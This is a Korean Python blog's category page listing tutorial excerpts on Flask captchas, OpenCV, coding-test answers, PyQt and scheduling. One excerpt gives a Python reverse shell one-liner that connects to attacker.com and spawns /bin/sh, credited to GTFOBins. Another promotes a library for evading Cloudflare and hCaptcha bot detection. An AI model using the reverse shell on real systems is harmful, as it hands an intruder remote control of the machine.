본문 바로가기
  • Tried. Failed. Logged.
728x90

파이썬84

Flask - 파이썬 flask 간단한 캡챠 예제(flask-simple-captcha) 모듈 설치 pip install flask-simple-captcha simple_captcha_example.py from flask import Flask, render_template, request from flask_simple_captcha import CAPTCHA config = { 'SECRET_CAPTCHA_KEY': '1111111111111111111111111', 'METHOD': 'pbkdf2:sha256:100', 'CAPTCHA_LENGTH': 5, 'CAPTCHA_DIGITS': False } @app.route('/example', methods=['GET','POST']) def example(): if request.method == 'GET': captcha = CA.. 2023. 2. 2.
셀레니움 - 파이썬 봇 감지 우회 라이브러리(undetected-chromdriver) pypi https://pypi.org/project/undetected-chromedriver/ undetected-chromedriver ('Selenium.webdriver.Chrome replacement with compatiblity for Brave, and other Chromium based browsers.', 'Not triggered by CloudFlare/Imperva/hCaptcha and such.', 'NOTE: results may vary due to many factors. No guarantees are given, except for ongoing eff pypi.org 설치 pip install undetected-chromedriver 사용 예시 import u.. 2023. 1. 29.
시스템 보안 - 파이썬 리버스 쉘 스크립트 export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' 대부분의 유닉스 계열의 OS(리눅스, 맥os)에는 python2는 설치가 되어있는 경우가 많으니 별도의 설치 없이 명령어만으로 사용 가능하다. 출처: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25.
OpenCV - 파이썬 cv2 이미지 속에 특정 이미지 감지하기 def isExistImage(a, b, c=0.65): print("이미지 존재 여부") img_rgb = cv2.imread(a) template = cv2.imread(b) h, w = template.shape[:-1] res = cv2.matchTemplate(img_rgb, template, cv2.TM_CCOEFF_NORMED) threshold = c loc = np.where(res >= threshold) return len( loc[0] ) != 0 print(isExistImage("screen.png", "target.png")) # True or False def getMatchPosition(a, b, c=0.65): print("이미지 위치 가져오기") img_rgb = cv.. 2023. 1. 16.
백준 - 문자열 (Python 3) 정답 a, b = input().split() arr = [] for i in range( len(b) - len(a) + 1 ): cnt = 0 for j in range( len(a) ): if a[j] != b[i + j]: cnt += 1 arr.append(cnt) print( min( arr ) ) 2022. 12. 29.
백준 - 새싹(Python 3) 정답 새싹 = """ ,r'"7 r`-_ ,' ,/ \. ". L_r' `~\/ | |""" print(새싹) 풀이 개행(\n)이나 특수기호 "나 '를 주의해서 새싹을 출력을 한다. 2022. 12. 29.
백준 - 1998년생인 내가 태국에서는 2541년생?!(Python 3) 정답 print( int( input() ) - 543 ) 풀이 불기 원년(1년)은 서기전 544년이므로, 사용자가 입력하는 불기 연도에다 543을 빼주면 서기 년도를 구할 수 있다. 2022. 12. 29.
게임 - 비주얼 노벨 제작 엔진(Ren'Py) 이름에서 알 수 있듯 파이썬의 게임 개발 라이브러리인 Pygame이 기반이다. 비주얼 노벨류의 게임 개발 목적으로 만들어진 엔진이며 Ren'Py를 이용해 출시한 대표적인 게임들은 두근두근 문예부, 어 펫 샵 애프터 다크, 장애소녀가 있다. 멀티 플랫폼을 지원해서 윈도우, 리눅스, 맥에서 구동이 가능하다. 근데 파이썬 기반이라서 인터프리터 방식으로 처리하기 때문에 모바일 같은 일부 플랫폼에서 잔렉이 생길 수도 있나고 한다. 참고: https://namu.wiki/w/Ren'Py Ren'Py - 나무위키 스크립트 문법은 파이썬에서 영감을 받아 다른 비주얼 노벨 엔진들보다 코드가 직관적이고 간결하다. 다만 스크립트 언어 자체가 파이썬인 것은 아니며, 스크립트 도중에 블록을 열어 빌트인 namu.wiki 2022. 11. 9.
PyQt - 테이블 헤더 배경 색 변경 self.table_invest = QtWidgets.QTableWidget(self.tab) self.table_invest.setStyleSheet('QTableWidget{\ncolor:black;}\nQHeaderView::section{background-color: rgb(23,33,43); };') 참고: https://forum.qt.io/topic/87371/how-to-change-qtablewidget-header-color-and-selection-color 2022. 11. 8.
파이썬 - 슬라이스(Slice) 슬라이스(Slice) 슬라이스는 문자열이나 리스트와 같은 순차형 객체에서 일부를 잘라(Slicing) 반환하는 기능입니다. 형식 객체명[초기위치:최종위치] # '초기위치'에서 '최종위치'-1까지의 요소들을 가져온다. 객체명[초기위치:최종위치:증가값] # '초기위치'에서 '최종위치'-1까지의 '증가값'만큼 증가하면서 해당 위치의 요소들을 가져온다. 슬라이스는 일부 인수를 생략하여 사용할 수 있습니다. 객체명[:] 또는 객체명[::] # 객체의 모든 요소를 반환한다. 객체명[초기위치:] # 객체의 '초기위치'에서 마지막 위치까지의 요소들을 반환한다. 객체명[:최종위치] # 객체의 0번째 위치에서 '최종위치'-1까지의 요소들을 반환한다. 객체명[::증가값] # 객체의 0번째 위치에서 마지막 위치까지 '증가값'.. 2022. 10. 6.
파이썬 - Range 범위 Range Range는 연속된 숫자를 생성하는 것으로, 리스트나 반복문에서 많이 사용됩니다. 형식 range(최종값) # 0에서 '최종값'-1까지 연속된 숫자를 생성한다. range(초기값, 최종값) # '초기값'에서 '최종값'-1까지 연속된 숫자를 생성한다. range(초기값, 최종값, 증가값) # '초기값'에서 '최종값'-1까지 '증가값'만큼 증가하면서 숫자를 생성한다. 예시 range(5) => [0, 1, 2, 3, 4] # 0부터 최종값(5)-1까지 연속된 숫자를 생성한다. range(1, 5) => [1, 2, 3, 4] # 초기값(1)부터 최종값(5)-1까지 연속된 숫자를 생성한다. range(1, 5, 2) => [1, 3] # 초기값(1)부터 최종값(5)-1까지 증가값(2)만큼 증가하면서.. 2022. 10. 6.
파이썬 - APScheduler 스케줄 from apscheduler.schedulers.background import BackgroundScheduler scheduler = BackgroundScheduler(daemon=True, timezone='Asia/Seoul') scheduler.start() scheduler.add_job(custom_function, 'date', run_date="2022-09-12 10:10:00", args=[1, '2', [3]]) 참고: https://mkwilson.tistory.com/215 Python APScheduler 스케줄 설정 python 에서 스케줄을 적용할때는 보통 리눅스의 cron 을 사용하였다 좀더 편한 방법을 찾던중 파이썬내에서 스케줄을 제어 할 수 있는 라이브러리가 있었다.. 2022. 9. 12.
728x90